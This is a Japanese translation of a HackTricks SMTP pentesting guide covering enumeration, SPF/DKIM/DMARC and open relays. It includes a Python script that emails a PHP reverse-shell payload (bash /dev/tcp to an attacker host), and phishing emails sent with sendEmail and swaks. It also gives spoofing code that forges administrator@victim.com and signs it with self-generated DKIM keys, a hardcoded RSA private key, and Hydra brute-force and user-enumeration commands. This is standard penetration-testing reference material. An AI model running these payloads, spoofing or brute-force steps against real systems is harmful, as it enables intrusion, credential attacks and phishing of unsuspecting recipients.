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25,465,587 - SMTP/sのペンテスト

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで行います。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。

{% embed url="https://pentest-tools.com/" %}

基本情報

**SMTP（Simple Mail Transfer Protocol）**は、電子メールの送受信に使用されるTCP/IPプロトコルです。ただし、受信側でメッセージをキューに入れる能力が制限されているため、通常はサーバーメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることができるPOP3またはIMAPのいずれかと一緒に使用されます。

言い換えると、ユーザーは通常、SMTPを使用して電子メールを送信し、POP3またはIMAPを使用して電子メールを受信します。Unixベースのシステムでは、電子メールのために最も広く使用されているSMTPサーバーはsendmailです。商用パッケージであるSendmailにはPOP3サーバーが含まれています。Microsoft ExchangeにはSMTPサーバーが含まれており、POP3サポートも設定できます。
こちらから。

デフォルトポート: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL ヘッダー

もし被害者にメールを送らせる機会があれば（たとえばウェブページのお問い合わせフォームを通じて）、それを行ってください。なぜなら、メールのヘッダーを見ることで被害者の内部トポロジーについて知ることができるからです。

また、SMTP サーバーからメールを取得することもできます。その際は、存在しないアドレスにメールを送信しようとする SMTP サーバーから NDN メールを攻撃者に送信させることができます。ただし、許可されたアドレスからメールを送信していること（SPF ポリシーを確認）と、NDN メッセージを受信できることを確認してください。

さらに、異なるコンテンツを送信してみると、X-Virus-Scanned: by av.domain.comのようなヘッダーに興味深い情報が見つかるかもしれません。
EICAR テストファイルを送信してください。
AVを検出することで、既知の脆弱性を悪用することができるかもしれません。

基本的なアクション

バナーの取得/基本的な接続

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPSは、SMTP（Simple Mail Transfer Protocol）をセキュアにするための拡張機能であり、通信をSSL/TLSで暗号化します。SMTPSは、ポート465を使用して通信を行います。SMTPSをペンテストする際には、SSL/TLSの設定や暗号化アルゴリズムの強度などを評価することが重要です。

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

組織のMXサーバーを見つける

To find the MX servers of an organization, you can use tools like nslookup or dig to query the DNS records of the domain. The MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the MX records of a domain, you can identify the mail servers that handle incoming emails for that organization.

dig +short mx google.com

列挙

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM認証 - 情報漏洩

サーバーがNTLM認証（Windows）をサポートしている場合、機密情報（バージョン）を取得できます。詳細はこちら。

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

または、nmapプラグインsmtp-ntlm-info.nseを使用してこれを自動化します。

内部サーバー名 - 情報漏洩

一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド「MAIL FROM」が発行された場合に自動補完し、内部名を漏洩します。

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

スニッフィング

パケットからポート25へのパスワードをスニッフィングできるかどうかを確認します

認証ブルートフォース

ユーザー名ブルートフォース列挙

認証が常に必要とは限りません

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY（Verify）コマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を照会し、システム内の有効なユーザー名を特定することができます。この情報は、次の段階の攻撃に活用される可能性があります。

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

EXPANDコマンドは、SMTPサーバー上のメーリングリストを拡張して表示します。これにより、攻撃者は有効なメールアドレスを取得できる可能性があります。

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

自動ツール

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

脆弱性評価および侵入テストのための即座に利用可能なセットアップ。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。

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DSNレポート

配信ステータス通知レポート：組織に無効なアドレス宛にメールを送信した場合、組織はそのアドレスが無効であることを通知し、あなたにメールを返送します。返送されたメールのヘッダーには、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの機密情報が含まれる可能性があります。

コマンド

Linuxコンソールからメールを送信

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Pythonを使用してメールを送信する

以下はPythonスクリプトを使用してメールを送信する別の方法です。

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

メールスプーフィング対策

組織は、SMTPメッセージのスプーフィングが容易であるため、SPF、DKIM、およびDMARCを使用して、権限のないメールが自身の代わりに送信されるのを防ぎます。

これらの対策の完全なガイドは、https://seanthegeek.net/459/demystifying-dmarc/で提供されています。

SPF

{% hint style="danger" %} SPFは、2014年に「非推奨」となりました。これは、_spf.domain.comではなく、domain.comで同じ構文を使用してTXTレコードを作成する必要があることを意味します。
さらに、以前のSPFレコードを再利用するために、"v=spf1 include:_spf.google.com ~all"のようなものをよく見つけることが一般的です。 {% endhint %}

Sender Policy Framework（SPF）は、メール転送エージェント（MTA）が、組織が定義した認証されたメールサーバーのリストをクエリして、メールを送信するホストが認証されているかどうかを検証する仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれ、ドメイン名を代表してメールを送信することが許可されているさまざまなメカニズムがSPFレコードに含まれています。

メカニズム

メカニズム 説明
ALL 常に一致します。前のメカニズムで一致しなかったすべてのIPに対して-allのようなデフォルトの結果に使用されます。
A ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。
IP4 送信者が指定されたIPv4アドレス範囲にある場合、一致します。
IP6 送信者が指定されたIPv6アドレス範囲にある場合、一致します。
MX ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから送信されます）。
PTR クライアントのアドレスのためのドメイン名（PTRレコード）が指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合（フォワード確認逆引きDNS）、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。
EXISTS 指定されたドメイン名がどのアドレスに解決されても一致します。これはほとんど使用されません。SPFマクロ言語とともに使用すると、DNSBLクエリなどのより複雑な一致が提供されます。
INCLUDE 他のドメインのポリシーを参照します。そのドメインのポリシーが合格した場合、このメカニズムも合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張機能を使用する必要があります。
REDIRECT

リダイレクトは、SPFポリシーをホストする別のドメイン名を指すポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。大量のドメインで同じメールインフラストラクチャを共有する場合に便利です。

リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。

また、メカニズムが一致した場合の処理方法を示す クオリファイアを識別することも可能です。デフォルトでは、クオリファイア "+"が使用されます（つまり、どのメカニズムが一致しても許可されることを意味します）。
通常、各SPFポリシーの最後に次のようなものがあることに注意してください：~allまたは**-all**。これは、送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない（~）としてタグ付けするか、メールを拒否（-）する必要があることを示すために使用されます。

クオリファイア

ポリシー内の各メカニズムは、意図された結果を定義するために、次の4つのクオリファイアのいずれかで接頭辞を付けることができます：

  • +: PASS結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを想定しており、+mxはmxと同等です。
  • ?: NEUTRAL結果を表し、特定のポリシーがない場合と同様に扱われます。
  • ~: SOFTFAILを示し、NEUTRALとFAILの中間地点として機能します。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
  • -: FAILを示し、メールを断固として拒否すべきであることを示します。

次の例では、google.comのSPFポリシーが示されています。最初のSPFポリシー内で異なるドメインのSPFポリシーが含まれていることに注意してください：

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

従来、正確な/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。現在では、有効なSPFレコードのないドメインからの電子メールはおそらく自動的に拒否される/信頼されないとマークされる可能性があります。

ドメインのSPFをチェックするには、https://www.kitterman.com/spf/validate.htmlのようなオンラインツールを使用できます。

DKIM（DomainKeys Identified Mail）

DKIMは、送信メールに署名を付けるために使用され、外部のメール転送エージェント（MTA）がDNSからドメインの公開鍵を取得して検証できるようにします。この公開鍵は、ドメインのTXTレコードに格納されています。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。

たとえば、鍵をリクエストするには、ドメイン名とセレクタが必要です。これらはメールヘッダーDKIM-Signatureで見つけることができます。例：d=gmail.com;s=20120113。

この情報を取得するためのコマンドは次のようになります：

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARCは、SPFとDKIMプロトコルを基にして電子メールのセキュリティを強化します。特定のドメインからのメールの取り扱いについてのポリシーを概説し、認証の失敗の取り扱い方法や電子メール処理アクションに関するレポートの送信先などを指示します。

DMARCレコードを取得するには、サブドメイン_dmarcをクエリする必要があります

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC タグ

タグ名 目的 サンプル
v プロトコルバージョン v=DMARC1
pct フィルタリングされるメッセージの割合 pct=20
ruf 法的報告用の報告URI ruf=mailto:authfail@example.com
rua 集計レポート用の報告URI rua=mailto:aggrep@example.com
p 組織ドメインのポリシー p=quarantine
sp ODのサブドメインのポリシー sp=reject
adkim DKIMのアライメントモード adkim=s
aspf SPFのアライメントモード aspf=r

サブドメインについては？

こちらから。
送信元のメールアドレスに対して送信する各サブドメインには、それぞれ別々のSPFレコードが必要です。
以下は、元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。

デーモンの質問: サブドメインについてはどうですか？

pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですか？いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。

したがって、SPFパブリッシャーへのアドバイスは次のとおりです。AレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。

これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持っている可能性があります。

オープンリレー

受信者に信頼されるリレーサーバーの使用は、送信されたメールがスパムとしてマークされず、意図した宛先に到達することを確実にする戦略となり得ます。ただし、管理者が許可すべきIP範囲について詳細な理解を欠いていることがしばしば観察されています。この知識の欠如は、SMTPサーバーの誤構成につながる可能性があり、これは外部および内部の侵入テストで一般的に発見される脆弱性です。この問題を回避し、潜在的および既存の顧客との電子メールコミュニケーションを誤って妨げることを避けるために、管理者はすべてのIPアドレスを許可することを選択するかもしれません。このアプローチは、SMTPサーバーの構成に反映され、mynetworksパラメータが任意のIPアドレスからの接続を許可するように設定されています:

mynetworks = 0.0.0.0/0

以下は、IPアドレス10.10.10.10のサーバーのポート25をスキャンするためにnmapがどのように使用されるかを示すコマンドです。詳細な出力を提供します。

nmap -p 25 --script smtp-open-relay -v 10.10.10.10

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

ツール

スプーフィングメールの送信

またはツールを使用することもできます:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} dkim pythonライブラリを使用してキーを解析する際にエラーが発生した場合は、以下のキーを使用してください。
注意: これは、何らかの理由でopensslの秘密キーがdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

または、手動で行うこともできます:

{% tabs %} {% tab title="PHP" %}

# これは署名されていないメッセージを送信します
mail("your_email@gmail.com", "テスト件名！", "こんにちは！これはテストです", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

詳細情報

これらの保護に関する詳細情報は、https://seanthegeek.net/459/demystifying-dmarc/ で見つけることができます。

その他のフィッシング指標

  • ドメインの年齢
  • IPアドレスを指すリンク
  • リンク操作技術
  • 疑わしい（一般的でない）添付ファイル
  • メールコンテンツの破損
  • メールヘッダーと異なる値の使用
  • 有効で信頼できるSSL証明書の存在
  • ページのWebコンテンツフィルタリングサイトへの提出

SMTPを介した情報の持ち出し

SMTPを介してデータを送信できる場合は、こちらを読んでください。

設定ファイル

Postfix

通常、インストールされている場合、/etc/postfix/master.cfには、例えばユーザーが新しいメールを受信したときに実行されるスクリプトが含まれています。 たとえば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}という行は、ユーザーmarkが新しいメールを受信した場合に/etc/postfix/filteringが実行されることを意味します。

その他の設定ファイル:

sendmail.cf
submit.cf

参考文献

HackTricks Automatic Commands

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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